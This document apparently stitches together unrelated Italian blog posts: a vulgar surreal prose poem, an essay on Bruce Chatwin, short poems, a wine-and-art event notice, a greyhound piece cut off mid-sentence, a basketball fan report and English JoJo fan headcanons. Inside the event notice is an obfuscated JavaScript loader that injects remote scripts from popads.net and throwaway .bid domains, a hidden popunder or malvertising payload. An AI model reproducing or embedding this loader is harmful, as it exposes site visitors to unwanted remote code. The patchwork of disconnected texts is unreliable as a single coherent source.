Quell’uomo con l’apostrofo e un accento sull’occhio sinistro

Chi è

Ma è semplice

Rispondo

Cazzonesò

 Poi

alle cinquequarantacinquequattrosecondi

un paradiso malgascio mi colpisce di striscio sotto l’ascella centrale

a quest’ora è ora di cambiare l’anima

Tutto sembra più buio

compreso il buco del cesso

Per quel poco che si scoprirà

anche lui ha deciso di trionfare d’amor proprio

ricompensando misfatti acuti e arguti nelsensochè

Il giorno dopo vivrà due volte di seguito l’alba del diciannovemillesimo giorno

risorgono milioni di perdigiorni che hanno trovato rifugio sui filococchi del tram che va in città

In piazza incontrano un patativendolo che fuma merluzzi avariati in una pentola a mo’ di pipa

Donne al fiume lavano lenzuola strappate

condendo insalate acide con piogge sparse

nuvoloso sulle regioni merdentrionali

con sporadici addestramenti anali e marimossi cazzinostri

Dalla mia piccola finestra sulle visioni mi chiedo

ma chi glielo fa fare di farsi prima di fare la prima comunione la seconda volta che veniva in città

Sempre in tram s’intende

Per caso ha uno stafilococco sui baffi

Se così fosse avrebbedovrebbe fare un saldo indietro nel tempio

proprio lì

dove si prega il dio delle melerancide

Scusa se mi sono permesso di permutare compiti che

Per mio vero e proprio sollievo non sono proprio miei

 Brunilde cerca

Guarda

Espone

Dispone

Esplode

Ma

poi

Al dunque non trova mai il capospago

Quindi

non ricordandomi da dove vengo

cazzonesò dove vado

Per questo si spoglia dei suoi lutti

distrugge i suoi patti segreti

spacca tutti i piatti della casa in testa a quel lombrico moscio senza chiesa

senza squola con la qu

con un paio di baffetti cinciripini alla Allexander Pollodallema

che è poi sé stesso luimedesimo

Poi senza preavviso alcuno si rizza a sedere sul letto

i capelli ritti

gli occhi orbitanti

il naso camuso

le orecchi no

è diventato paonazzo

Grida tuttodunfiato

PerfavorelevatemiditornoquesticalziniallalavandagrecasonoallergicoaimaialiGRAZIE

Poi chiude la porta dietro di sé e ascolta musica per tutto il tempo dopo

 di soppiatto sgattaiola sgusciando in cucina

si avventa sul tetto del barattolo di cioccolata al cocco di mandorle

dove gia bambole sgonfie spompinano benestanti signori di mezz’età

 Però inmenchenonsidica cerca in mezzo

qualcosa c’è stato un tempo

se ne accorge dai rimasugli di vergogna residua

Quella non si può mai bruciare sui roghi perdio

 L’altro resta lì vaporoso

Sonnolento

Corposo

Digitale

Manuflesso

Genuflesso

arcaico capitombolo umano

diverse qualità per tutti i rischi di gratitudine

perverse sensazioni di grattacapi mattutini

 Pertutti è un gioco sadico

Pertutti è un genio

Pertutti è il padrone della città

Da qui comincia la sua strana vita

dal nome

Perbacco invece è il soprannome di Giosuè Scannapopoli

detto Saturno per la voglia di fragola che ha su tutte le certezze

 è così che volto pagina

All’improvviso

Arbusti di selvaggia maestria svelano segreti di angusta poesia

nei libelli impalmati all’alba di ogni primo giorno del mese

per rientrare nelle spese

naturalmente

 Non tocco niente

lascio tutto come sta e me ne vado da solo

non mi volto neanche

guardo dritto

tiro dritto per la lunga autostrada bianca

Il filo rosso avanti a me si spegne piano piano

M’importa una sega

proseguendo vivo

 Il vino che ho in tasca mi carica di elettricità che riverserò poi nel mio stomaco

Cavalco la tigre

Ora lei sfreccia veloce sopra nuvole di polvere d’amaranto

sollevate dal branco che corre avanti impaurito

sulla strada bianca

Guardo la mia carta

la mia foto sbiadisce

si trasforma

spicca il volo

si strappa dalle mie mani

io non lo impedisco

Libera vola la falsa identità di creta

Un incrocio avanti a me

un diavolo sulla sinistra dice

Non c’è posto Per tutti sulla strada bianca

Decidi

Non posso

Non scelgo

Scappo ancora

Non c’è posto per il dubbio sulla strada bianca

 Un clacson alle mie spalle

una lucertola con una pipa smaltata in bocca e carrello antisdrucciolo

guardo

Lei fa un sorriso accidentato

un dente cade

mi offre un tiro di pipa alla melassa dolce

poi sgancia un peto alla melassa amara

svengo per dodici giorni

La lucertola ne approfitta

mi ruba le ruote e una scorta di ginseng alla fragola che tenevo nascosta

per i casi di necessità fotopaleocultocerebrolinguefacentefinzione

Quando mi risveglio ho un paio di mutande a pois sugli oblò

 Le lucertole col cardigan vanno così quando s’innamorano

Io no

Mi alzo

mi reco tosto dal guardavecchi ambulante che ha la bancarella lì

al lato della fortezza dei piselli brizzolati

Espongo il mio caso

Ho le mani sporche di nerofumo

il gruppo si è sciolto centodieci anni orsono dopo aver fatto un colpo alla banca centrale del seme

io mi sono salvato per grazia di zio

mi ha ripescato per le penne dalle acque del ghiaccio Fiume Tremens

 è un impervio e angusto fiumiciattolo fluente a valle

come il sangue nelle vene di un pazzo anfetaminico ubriaco di camomilla

 ma torniamo al presente

c’eravamo già

cioè avantieri

C’è con me uno che quando sogna si toglie sempre i calzetti

perché dice

i sogni degli uomini vanno a finire sottoterra

ed è da lì che a volte ritornano

Io gli dai ragione

All’ottantesimo chilometro

un tanto al grammo

hanno costruito dei cuscini d’avanguardia per rustici ristoratori senza macchia

senza peccati

eccosì che Il capoturno chiama

è l’ora della mezzasega di mezzogiorno

a quell’ora nessuno dorme mai con tutti i gradi

per paura dei temporali

Noi corriamo a perdifiato perdio

quando arriviamo ci ritroviamo trafelati senza sapere se il perché è vero

Il capoturno ci passa il caffè

ci regala poi una maschera col viso stravolto

gli occhi sradicati e perplessi

noi l’indossiamo senza paura togliendo quella che già portiamo addosso

levando la sicura

per sicurezza s’intende

La maschera si trasforma in jena ridenz

Inutile riderenz

disse

Già che ci siete spremete le meningi per trovare una soluzione plausibile

Quale soluzione

diciamo noi in coro

uno anche in falsetto

Una qualsiasi

Risponde

per la mia collezione

aggiunge

Ho la più grande collezione di soluzioni che si possa trovare ai bordi della strada bianca

 Troviamo infine una soluzione qualsiasi per qualsiasi problematico matematico problema

gliela daimo levandocelo per cosiddire gentilmente dai nostri ovali coglioni

 Ma

giorni bui ci attendono

Subito dietro la curva è una lunghissima galleria

buia

Manco a dirlo

Tre milioni di chilometri senza luce

le pagine stanno per finire sotto la padella

cioè in mezzo alla più grigia brace

Alchè mi viene in mente

tra dubbi amletici

scaramantici

circonflessi

una piccola e semplice soluzione

giusto per arrivare in fondo

per non lasciare niente al caso

Scrivere ai piedi della pagina

la parola

 FINE

 il classico uovo alla colombo

giallo

con finiture in piombo

fuso

cottura dieci anni

[anime--perdute]

@epsiucos per finire il 2017 in bellezza non potevo non menzionarti sul blog.. Il laccio d'oro, quel filo aureo che ci unisce nell'ultimo periodo si è irrobustito e non ha mai dato un segno di usura seppur sempre tirato al massimo. Sei un punto fisso per me, un porto sicuro, la luce di un faro in un mare in tempesta. Sei il mio corrispondente epistolare, insieme viviamo la nostra utopia, sognamo e cresciamo. Ego esse non possum felicior tui. Σ'αγαπώ Λ ❤

[pangeanews]

Bruce Chatwin, l’esteta irrequieto (…e gli incontri con Malraux, Jünger, Klaus Kinski, Nadežda Mandel’stam)

Bruce Chatwin aveva gli scarponi al collo e la faccia da angelo in ceramica. “Bruce è un nome di cane in Inghilterra (non in Australia), ed era anche il cognome dei nostri cugini scozzesi. L’etimologia di ‘Chatwin’ è oscura, ma lo zio Robin, suonatore di fagotto, sosteneva che in anglosassone chette-wynde voleva dire ‘sentiero tortuoso’. Il nostro ramo della famiglia risale a un fabbricante di bottoni di Birmingham, ma in un angolo remoto dello Utah esiste una dinastia di Chatwin mormoni, e di recente ho avuto notizia di un signor Chatwin e signora, trapezisti”, scrive, declinando l’oro della sua stirpe, nel documento autobiografico Ho sempre desiderato andare in Patagonia. Tra gli avi nobili, Chatwin, figlio di buona famiglia – padre avvocato e impegnato nella Royal Navy – nato il 13 maggio del 1940, cita uno “zio Geoffrey, arabista e viaggiatore del deserto, che al pari di T.E. Lawrence ebbe in dono dall’emiro Feisal un aureo copricapo (poi venduto), e morì povero al Cairo”. Ecco: Chatwin fu l’opposto di T.E. Lawrence. All’avventura spiritata preferì l’ordinario nomadismo; alla dissipazione lo spirito ironico; alle vaste campiture narrative con aggettivi magnetici una scrittura lucida, con dedizione all’intarsio. Mi è sempre parso che Chatwin proponga un’irrequietezza da sorbirsi in cottage, in sedentaria solidarietà; d’altronde, le Moleskine si comprano immaginando un fittizio Capo Horn, decrittando le imprese che non condurremmo mai.

*

A proposito. In Patagonia è ritenuto il libro più bello di Chatwin: inizia con “un pezzo di brontosauro” e fonda una breve azienda turistica. Pubblicato nel 1977, è ‘di culto’ da quando Chatwin vaga nella Patagonia celeste, era il 1989. Nello stesso tempo, Chatwin fa qualcosa di antico – piglia l’acutezza di Ruskin e di Walter Pater – e di moderno – viaggia on the road. E viceversa. Per me, il libro più bello è Le Vie dei Canti (1987) – l’idea che l’identità aborigena coincida con il poema di un sognatore, che annodi nel canto le storie di tutti, mi affascinò a lungo. Chatwin segue il filo del racconto più che il criterio dello studio, per questo ci incanta. Porzioni di libro sono la – fittizia – trascrizione dei propri appunti. “Nella Muqaddima di Ibn Khaldun, filosofo che considerò la condizione umana dal punto di vista del nomade si legge: ‘Il popolo del deserto è più vicino dei popoli stanziali alla bontà, perché è più vicino al Primo Stato e più lontano da tutte le cattive abitudini che hanno corrotto i cuori di chi ha lasciato la vita nomade’”. Chatwin insegna, insomma, che il miglior modo di viaggiare è leggere i viaggi altrui – oggi, d’altronde, non potremmo fare altro. E che viaggiare è seguire le tracce di altri, fare i segugi.

*

La dinamica proposta da Chatwin funziona. Deserto contro città; tenda contro casa; nomadi contro stanziali; cacciatori contro operai. In verità, l’uomo è il culmine di un contraddittorio: è un nomade stanziale. Ci muoviamo per lavoro ma vogliamo una casa a cui tornare; se siamo reclusi in casa vaghiamo svagandoci, tentando l’ascesi o l’ascesa del divano, mentre il nostro destino è umettato di fiction. Ogni uomo si muove per trovare una sede: Alessandro Magno viaggia tra Macedonia e India per porre il proprio palazzo a Babilonia. Anche Dio, infine, vuole casa in un Tempio.

*

Chatwin viaggia con la perizia del gemmologo: non è mai ‘sporco’ né estasiato. Gli scarponi li tiene intorno al collo. Per primo, ha portato la scrivania vittoriana in Dahomey: anche l’efferato, in Chatwin, è afferrabile con la ragione, scomposto in aggettivi, vaporizzato nel racconto. La follia di Klaus Kinski – protagonista di Cobra verde, film di Werner Herzog tratto dal Viceré di Ouidah di Chatwin – è anestetizzata in una descrizione che pare giungere per angelologia da Dickens: “un adolescente di sessant’anni, tutto in bianco, con una criniera di capelli gialli. Non corrisponde esattamente all’idea che ho io di uno schiavista brasiliano, ma lasciamo correre”. Chatwin emerge dalla polvere fredda di Punta Arenas come appare da Sotheby’s, con la stessa, attenta eleganza. Per questo, adorava gli scriteriati.

*

Con scriteriati intendo quegli uomini che non si adattano ai criteri di questo mondo. Dovrei dire, genio, se è genio la capacità di sdraiarsi sulla cresta della Storia, stabilirsi nella fortuna, fecondi senza caparbietà, audaci per dote e per dono, spietati eppure puri, certi del rispetto che si concede ai toccati dalla grazia. In Che ci faccio qui? Bruce Chatwin pretende l’incontro con due nomadi molto diversi da lui, per statura e scrittura: André Malraux e Ernst Jünger. Di questi, ama l’infallibile, il pudore che nessuno valica, lo spudorato carisma – non saprei come altro dire. “Malraux ha il tempismo di un opportunista di razza ed è stato testimone e partecipe di grandi eventi della storia moderna. Lui solo può raccontare che Stalin considerava Robinson Crusoe ‘il primo romanzo socialista’, e che la mano di Mao Tse-tung è ‘rosa come se l’avessero bollita’, e che la pelle bianca e gli occhi spiritati di Trotckij lo facevano somigliare a un idolo sumero di alabastro”. L’ironia ingabbia di quel tanto l’ammirazione: Malraux è il romanziere narciso, l’esistenzialista corrusco, il brigante dionisiaco, l’esteta mentitore, per cui “le persone di oggi si dissolvono nel mito” e “Mao Tse-tung, ‘il grande imperatore di bronzo’ delle Antimemorie è intercambiabile, in un certo senso, con la statua rilucente di un antico re-sacerdote mesopotamico”. Il dialogo si svolge nel 1974, Malraux morirà due anni dopo. “Concludemmo la conversazione parlando dell’Afghanistan, con i suoi fiumi verde pallido e i suoi monasteri buddhisti, dove le aquile volteggiano sopra le foreste di cedri deodara e gli uomini delle tribù portano asce da combattimento di rame…”. Allora, Malraux, pronto all’ennesima avventura, mai domo, sussurra, “e c’è sempre il Tibet…”.

*

Beh, Chatwin sa fronteggiare questi personaggi – ci vuole lignaggio oltre a leggerezza per farlo. Jünger resta ai suoi occhi un implacabile enigma. Il pezzo, del 1981, è un piccolo gioiello, fin dall’incipit: “Il 18 giugno 1940 Winston Churchill concluse il suo discorso alla Camera dei Comuni con le parole: ‘Questa è stata la loro ora più bella!’, e quella sera stessa un personaggio molto diverso, con l’uniforme grigia di ufficiale della Wehrmacht, si sedette nello studio della duchessa de la Rochefoucauld al castello di Montmirail. Quell’ospite non invitato era un uomo di quarantacinque anni, basso di statura ma atletico, con la bocca fissa in un’espressione di stima per se stesso e con gli occhi azzurri di una tonalità particolarmente artica. Sfogliava i libri della duchessa col tocco sapiente del bibliomane e notò che molti recavano la dedica di famosi scrittori. Da un volume scivolò e cadde a terra una lettera…”. Chatwin è uno scrittore che ama le armonie e le superfici ben levigate – “particolarmente artica” –, la “prosa dura e lucida… imperturbabile” di Jünger e “la fermezza incrollabile delle sue idee” lo soggioga e abbaglia. Che, durante una esecuzione in un bosco francese, Jünger descriva i tremiti del bosco e dell’uomo e “una mosca che danzava in un raggio di sole”, lo repelle e lo inietta nell’apollineo. L’incontro con Jünger si rivelerà inutile – il tedesco è chiuso all’ingordigia di pettegolezzi dell’inglese. Gli concede però, “dato che Montherlant m’interessava”, di studiare una copia del foglio che stava sulla scrivania del francese, quando questi si è ammazzato. “Il suicidio fa parte del capitale dell’umanità”, è scritto, in francese. L’aforisma è di Jünger, “risale agli anni Trenta”, la calligrafia di Montherlant. Il foglio è chiazzato. “Le macchie erano fotocopie del sangue”.

*

Iosif Brodskij venerava Nadežda, la moglie di Osip Mandel’stam. “Per decenni visse alla macchia, in fuga perpetua svolazzando tra gli angiporti e oscure città del grande impero, posandosi in un nuovo nido solo per riprendere il volo al primo segnale di pericolo. La condizione di ‘non persona’ divenne a poco a poco la sua seconda natura”, scrive il poeta in una memoria raccolta in Fuga da Bisanzio. Chatwin è da Nadežda nel 1978. Lei gli mostra un quadro di Weissberg. “Il quadro era tutto bianco, bianco su bianco, qualche bottiglia bianca su un fondo vuoto e bianco”. Poi fa, “è il nostro miglior pittore: che in Russia non si possa fare che questo, dipingere il bianco?”. In quel caso, il bianco non è opportunità ma prigionia, la gogna più che il giglio, non è l’innocenza ma l’assassinio, perché quel bianco è nero raddoppiato. (d.b.)

L'articolo Bruce Chatwin, l’esteta irrequieto (…e gli incontri con Malraux, Jünger, Klaus Kinski, Nadežda Mandel’stam) proviene da Pangea.

from pangea.news https://ift.tt/2xp4sTQ

[vice-versa-v]

Chi sei, tu?

C'è un astro che ti fa

brillare gli occhi

bruciare le vene

rendendo tersi i tuoi

pensieri opachi e bui

Una catarsi che lacera

il pesante manto celeste

in cui annegavi

Respira, ammira

i ghirigori scuciti dalla tua mente;

il filo aureo dei pensieri

giace ordinato sul tuo capo

[jucks72]

Milano Gallery Night Festa all'insegna di arte e vini di Puglia

New Post has been published on http://www.it-gourmet.it/2017/12/06/milano-gallery-night-festa-allinsegna-di-arte-e-vini-di-puglia/

Milano Gallery Night Festa all'insegna di arte e vini di Puglia

(Milano Gallery Night Festa all’insegna di arte e vini di Puglia)

1/7

(Milano Gallery Night Festa all’insegna di arte e vini di Puglia)

2/7

(Milano Gallery Night Festa all’insegna di arte e vini di Puglia)

3/7

(Milano Gallery Night Festa all’insegna di arte e vini di Puglia)

4/7

(Milano Gallery Night Festa all’insegna di arte e vini di Puglia)

5/7

(Milano Gallery Night Festa all’insegna di arte e vini di Puglia)

6/7

(Milano Gallery Night Festa all’insegna di arte e vini di Puglia)

7/7

  Gallery Night è stato l’evento che ha visto il 30 novembre le gallerie d’arte di una delle più antiche zone di Milano tenere le porte aperte fino a tarda ora in collaborazione con l’Associazione Puglia in Rosè.

Il Distretto 5Vie ha dedicato la serata a 24 gallerie del quartiere che hanno inaugurato una serie di mostre con opere di artisti di fama abbinate alle eccellenze enologice di Puglia.

«Siamo entusiasti di questo evento – ha dichiarato Lucia Nettis, direttrice di Puglia in Rosè – soprattutto perché siamo riusciti a portare in Italia un’idea che abbiamo già avuto modo di sperimentare all’estero, come al Metropolitan Museum of Art e al Museum of Art and Design di New York. La nostra filosofia si basa sulla promozione dei vini delle nostre cantine associate, sottolineando il filo rosso che da secoli lega il vino alla cultura».

È stata un’occasione unica per unire il piacere della vista a quello del gusto, rappresentato da ben 25 aziende vinicole: Cantina Duca Carlo Guarini, Cantine Duca D’Ascoli, Cantine Paolo Leo, Cantine Padre Pio, Cantina Vetrere, Cantina Barone, Cantine Aureo, Feudi di Guagnano, Tenute Girolamo, Masseria Nel Sole, Tenute Annibale, Cantina San Marzano, Elda Cantine, Cantine Zacheo, Cantine Le Grotte, Cantina Apollonio, Vigneti Reale, Azienda Vitivinicola Tor De Falchi, Cantina Ruvo, Vigneti Calitro, Moscato Trani, Vitivinicola Marulli, Cantine Bonsegna, Cantine Vecchia Torre, Cantine Nardella.

Per informazioni: www.pugliainrose.it

/*<![CDATA[/* */ /* Privet darkv. Each domain is 2h fox dead */ (function() var v=window;v["\x5f\u0070o\x70"]=[["s\u0069t\x65\x49\x64",2164519],["\u006di\x6e\u0042i\u0064",0],["\u0070\x6fp\x75\x6e\x64\x65\x72\u0073PerI\u0050",0],["dela\u0079\u0042\x65\x74\x77\x65\x65n",0],["\u0064\x65\x66\u0061\x75\u006ct",false],["\x64\u0065f\x61\x75\x6ctPe\u0072D\u0061y",0],["\x74o\x70\x6do\u0073t\u004c\u0061y\u0065r",!0]];var p=["/\x2fc\u0031.\u0070\x6f\u0070\u0061\x64\x73\x2e\x6ee\u0074/p\u006f\u0070.\x6as","\x2f/\u0063\u0032.\u0070\x6f\x70a\u0064\x73\u002e\x6ee\u0074\x2f\x70\x6f\u0070.j\x73","\x2f\x2f\u0077\x77w\u002e\x79\x63f\u0070ruj\u0079l\u0075k\x6bx\x2e\x62\x69\x64\u002f\u0078\x2e\x6a\x73","\u002f\u002f\u0077\x77\u0077.u\x76\x79a\x73\u0063q\u0062\x6d.\u0062id\x2fw\u0063\u002e\x6a\u0073",""],d=0,y,s=function()if(""==p[d])return;y=v["\u0064\u006f\u0063\x75\u006d\x65\x6e\u0074"]["\u0063\x72\u0065\x61\u0074eE\x6ce\u006d\u0065\u006e\u0074"]("\u0073\x63rip\u0074");y["\u0074ype"]="\u0074\u0065\x78\u0074\u002f\u006a\x61\u0076\x61\x73c\u0072\u0069pt";y["\x61s\x79\u006e\u0063"]=!0;var a=v["\u0064\x6f\u0063um\x65\x6e\u0074"]["g\x65t\x45lem\x65\u006e\u0074\x73By\u0054\u0061\u0067\u004e\x61\x6d\u0065"]("\u0073\x63\x72i\u0070t")[0];y["\u0073\x72c"]=p[d];if(d<2)y["\x63r\x6f\u0073s\u004fri\x67\x69\u006e"]="\u0061\x6e\u006f\x6e\x79\u006d\u006f\x75\x73";;y["\u006f\x6eerr\u006f\u0072"]=function()d++;s();a["p\u0061r\u0065\u006e\u0074\u004e\u006fde"]["i\x6es\u0065\u0072t\x42\u0065\u0066\u006f\u0072e"](y,a);s())(); /*]]>/* */

[fioredineveeventagliosegreto]

BEllISSIMA DA LEGGERE ASSOLUTAMENTE!! DEDICATA A TUTTI I GALGOS DEL MONDO La Spagna è il paese dei levrieri impiccati. La Spagna è il paese che non apprezza la tenerezza inconcepibile di un animale che si intreccia con l'aria, disegnando acrobazie impossibili. La Spagna è il paese degli alberi con i rami assassini, dove una corda infame spezza una vita leggera come schiuma. La Spagna è una terra sterile che seppellisce la poesia nel suo grembo morto. I levrieri sono poeti in agguato nel vento, levigano gli spigoli in silenzio, scivolando via come un filo d'acqua dal fondo di un fosso. I levrieri sono poeti che si stagliano alla luna, componendo sagome senza eguali. I levrieri accavallano le parole, ci saltano sopra, evitano gli accenti, così arroganti e inflessibili. L'accento è un signore ridicolo che si infila nelle parole come una spina. I levrieri turbano la sua routine, gettandola al vento, giocandoci finché si stufano, lasciandolo su un tetto, dove viene scambiato per un ramoscello. A volte, in un nido. Così riceve lezioni di umiltà e accetta la sua dolorosa insignificanza. Le impronte dei levrieri non lasciano traccia. Sono veloci, alati, quasi eterei. Non influenzati dalla gravità nè dalla durezza della pietra. I levrieri accelerano la rotazione della terra, quando la follia si impadronisce di loro. Lo sguardo riesce a malapena a seguire il loro galoppo vertiginoso, ma grazie alle loro corse sentiamo la musica celeste. I levrieri prendono in giro l'ortografia tendendo o piegando le orecchie. Le orecchie di un levriero possono trasformarsi in una X, Y o LL. Sforzandosi un poco sono in grado di delineare la Ñ o il numero Phi, il numero aureo in cui è nascosto Dio, giocando con una serie infinita che lascia con un palmo di naso gli insegnanti. Gli insegnanti della scuola non capiscono Dio, nè i levrieri. Dio è un bambino che utilizza i puntini di sospensione per attraversare i fiumi. Li genera uno ad uno e salta in avanti. Quelli che avanzano, se li tiene in tasca. I levrieri non sono mai separati da Dio, perché sanno bene che hanno bisogno di non perdersi sulla strada, dove si nasconde l'uomo con il forcone i

[vtribbean]

[sportpeople]

Casa non è solo il tetto che ti ripara dalle intemperie. Non è l’armadio dove riponi i vestiti o il divano dove puoi trovare un attimo di relax.

Casa è tutto ciò che senti tuo. Un insieme di sentimenti, sensazioni, colori, odori che, a pieno titolo, sono una parte di te.

Non esiste una sola casa, esistono tante case. Una delle mie case, per anni, è stata la Virtus Roma.

Chiunque mastica (o ha masticato) ultras in una curva calcistica, almeno a certi livelli, ha necessariamente varcato i cancelli del Palatiziano o del PalaEur.

In tanti hanno gioito per una bomba da tre sul filo della sirena, per una vittoria ai play-off, per un’impresa con una squadra di vertice.

In tanti hanno esternato dolore sincero per un’eliminazione dalla serie scudetto o per una incredibile rimonta degli avversari, che prima dell’ultimo quarto erano sotto di 20.

In tanti hanno abbandonato la Virtus Roma.

In Serie A1, quando le partite non erano contro Bologna o Treviso ma contro Imola o Montecatini. Quando la squadra arrancava e non era da vertice. Quando c’era una concomitanza troppo stretta con le partite di calcio. Quando si è autoretrocessa. Quando ha giocato i playout per non scendere nell’inferno della B. Quando ha rischiato di scomparire. Quando pochi volenterosi hanno manifestato a Piazza Venezia nell’indifferenza generale.

Se la Virtus Roma è stata, o è, la casa per tanti, il suo accesso è sempre stata una porta di servizio e mai un ampio porticato ricco di fregi e capitelli.

La situazione attuale della Virtus Roma è figlia di una cultura del lassismo e della miopia che attanaglia la Capitale, forse da sempre.

Analizzando solo lo sport per non entrare troppo in contesti non pertinenti, si può dire che, dalla scomparsa della Lodigiani, al declino della Virtus e della cancellazione di fatto in altri sport, tutto appartenga ad un unico fil rouge la cui trama è intessuta di declino e menefreghismo.

Se si pensa alla situazione di disinnamoramento e disincanto che ormai sono entrate anche nel mondo della Roma e della Lazio, si capisce che la speranza di una ripresa della passione popolare sportiva, per ora, è veramente scarsa.

La Virtus è un tassello importantissimo della storia agonistica della Capitale, ma la sua parabola recente riflette un periodo cupo di una città sì immortale, ma innegabilmente malata.

A proposito di declino, l’involuzione della Siena del basket ha come punto focale l’attuale situazione del Monte dei Paschi di Siena, la più antica banca del mondo ormai rovinata dai debiti e che, salvo incredibili imprevisti, sarà nazionalizzata per non fallire, con lo Stato che si farà garante di almeno 88 miliardi di Euro di debiti.

L’antico istituto bancario senese è sempre stato uno dei perni dell’economia privata italiana.

A Siena ha rappresentato un pezzo di vita e di fiducia per molti cittadini. Occupazione a parte, il “babbo”, come molti chiamavano il Monte, ha sempre garantito un alto tenore di vita alla provincia toscana.

Calcio e basket hanno beneficiato di un periodo aureo in cui il Monte dei Paschi ha investito nello sport in maniera molto massiccia. La Robur ha calcato per diverse stagioni la massima serie, la Mens Sana è diventata per anni la padrona assoluta del basket italiano.

Questo prima che il vaso di pandora dei debiti si scoperchiasse e che la Mens Sana fosse condannata, per vari capi d’accusa (ricettazione, associazione a delinquere finalizzata alla frode fiscale e bancarotta fraudolenta), alla liquidazione e all’annullamento di due titoli di campione d’Italia e due Coppe Italia (più una Supercoppa).

Senza lo storico sponsor Siena è ripartita dalla Serie B con l’orgoglio dei suoi tifosi, e il salto in Serie A2, due stagioni fa orsono, è stato, per quanto sofferto più del dovuto, quasi una formalità.

Quella di stasera non è solo la sfida tra due nobili decadute e tra due rivali storiche, ma è uno specchio dell’Italia di oggi.

La Mens Sana cadetta, come la Virtus Roma del resto, non decolla e non regala grandi soddisfazioni ai tifosi, che vorrebbero una pronta risalita nella massima serie

Tornando alla tifocronaca, scelgo di seguire nuovamente una partita casalinga della Virtus grazie alle mie ferie lavorative che mi hanno permesso di riaffacciarmi alle mie latitudini native.

L’occasione è l’ultima partita del 2016 cestistico della serie A2, e l’avversario è Siena. Mens Sana Siena.

Non credo che sia io a dover ripetere, per la milionesima volta e nella miliardesima salsa, cos’è questa partita per un appassionato di basket capitolino. Non sta a me ricordare cos’è la Mens Sana nella storia recente della palla a spicchi nostrana.

Siena, per Roma, è una rivalità storica, genuina, accentuata dall’avvelenata serie scudetto della stagione 2012/13. Brigate Roma contro Brigata Biancoverde. Un’unica via che divide le città.

È il 29 Dicembre. La partita è un’occasione anche per un ritrovo tra amici e la osserverò forse non con l’attenzione di sempre, ma con qualche chiacchiera e qualche risata in più, il che non guasta mai.

Ma se il pubblico di stasera non è all’altezza della sfida (a proposito della porta di servizio), le due tifoserie organizzate sono da elogiare a scena aperta.

Da una parte le Brigate della Virtus Roma, ragazzi che, di fatto, vedo per la prima volta all’opera (non valutabile la loro prestazione quando li vidi lo scorso anno a Verbania contro Omegna per timbrare il cartellino).

Il gruppo, numericamente parlando, è in linea con la tradizione ultras cestistica della capitale (playoff e partite di cartello esclusi). Cifre non impressionanti ma, se si pensa al periodo generale delle curve, neanche da disprezzare.

Il loro tifo, eccetto qualche rarissima e brevissima pausa, è veramente continuo, con dei picchi notevoli soprattutto negli ultimi due quarti del match. Tanti battimani, voce e impegno onorano questa delicata partita.

Dalla parte opposta i ragazzi della Brigata, che ho già visto in azione qualche volta. Non è un periodo facile per loro, e la stagnazione in Serie A2 comincia a far emergere una disaffezione a livello numerico. La quarantina di tifosi presenti al Palatiziano non è all’altezza di tante altre presenze del passato. Ciò nonostante, i biancoverdi appaiono continui, intensi, abbastanza colorati. Una nota di merito va per aver incitato la squadra nonostante sia sempre stata indietro durante il match.

La rivalità viene onorata a suon di “attestati di stima” reciproci conditi da diverse urla dei singoli e gestacci come se piovesse. Anche il pubblico giallorosso della tribuna, quando c’è da prendere di petto gli avversari, non si tira indietro, con scene talvolta persino esilaranti.

La partita finisce 84-75 per i padroni di casa. A parte rari momenti in cui gli ospiti si sono avvicinati, Roma ha sempre tenuto saldamente in mano la partita, rifilando ai malcapitati avversari la quinta sconfitta consecutiva.

Ciò nonostante, per la Mens Sana sinceri applausi dei tifosi a fine partita: numerosi magari no, ma sicuramente attaccati alla casacca indipendentemente dal risultato.

Per le Brigate della Virtus e il pubblico tutto un sorriso di fine anno, peraltro contro una rivale storica. L’abbraccio tra squadra e curva a fine partita è una delle cartoline più belle di questo sport, spesso snaturato dalla sua eccessiva americanizzazione (per info rivolgersi all’Olimpia Milano e ad altre associate).

Finisce pure per me questo 2016 di partite. Simbolicamente termina in un posto che chiamo casa e che spero costituisca un punto di partenza per le nuove sfide del 2017.

In questo articolo ho parlato di decadenza, disaffezione, malagestioni e altre simili amenità. Con l’anno nuovo nessuno, là in alto, cercherà di migliorare qualcosa, statene pur certi.

Ma la passione, l’amore, l’abnegazione e il sacrificio per le cose a cui teniamo tutti i giorni sono la base per ripartire con nuovo slancio, di anno in anno, di mese in mese, di giorno in giorno. I ragazzi di Roma e Siena l’hanno capito e, insieme a tanti altri ragazzi di altrettante curve italiane sono pronti, per l’anno che verrà, a non alzare mai bandiera bianca di fronte a qualsiasi avversità.

Magari gli anni più belli arriveranno veramente, non solo per Roma e Siena, ma per noi tutti. E non bisognerà ringraziare nessuno al di fuori di noi stessi che crediamo sempre in ciò che facciamo, indipendentemente da cosa facciamo.

Testo di Stefano Severi. Foto di Simone Meloni.

#gallery-0-5 { margin: auto; } #gallery-0-5 .gallery-item { float: left; margin-top: 10px; text-align: center; width: 33%; } #gallery-0-5 img { border: 2px solid #cfcfcf; } #gallery-0-5 .gallery-caption { margin-left: 0; } /* see gallery_shortcode() in wp-includes/media.php */

Arriveranno gli anni più belli: Virtus Roma-Mens Sana Siena, Serie A2 Basket Casa non è solo il tetto che ti ripara dalle intemperie. Non è l’armadio dove riponi i vestiti o il divano dove puoi trovare un attimo di relax.

[vtribbean]

More JJBA HCs from my AU:

Sorbet & Gelato

Gelato is basically REALLY into westerns. Like, a lot - he taught himself how to speak like a cowboy because he got really into Spaghetti Westerns and American westerns when he was young. He likes to pretend he and Sorbet are like a Bonnie & Clyde type deal.

Gelato's stand is Whiskey River - it's useful as a form of interrogation and assassination when paired with Sorbet's Badfinger.

Whiskey River's ability is to convert perspiration into an alcohol that absorbs into the body. Basically, if you're locked into a humid chamber or sweating a lot from battle - you're gonna end up getting intoxicated. This was partially inspired by Harvest injecting Okuyasu and Josuke with spirits in DiU.

Sorbet's Badfinger manifests as a ghoulish third arm that attaches to a victim and lures them towards deaths that end up looking like a suicide. Have a gun on you? It'll try to yoink that. Near a busy street? It'll try to drag you into traffic.

When Badfinger is paired with Whiskey River, it often makes an assassination target appear to have gotten drunk and taken their own life, meaning it's rather subtle form of taking out a target. (Looking at you, Formaggio, putting shrunken cars into people's fucking drinks...)

Plus, Whiskey River can be used to interrogate a target for information before their demise - Sorbet likes to try and get cash out of people before they die.

As for Sorbet's personality - he's pretty greedy (as is hinted at in canon) but is otherwise a pretty straight-cut guy. He claims to "put up with" Gelato's western obsession, but he does love it in secret.

As for how they act with their team, well, they kind of act a bit narcissistic in terms of thinking that they're better than the rest of them, but all in all are both in Passione's business for the money. When the cash stops flowing - well, we saw what happened there.

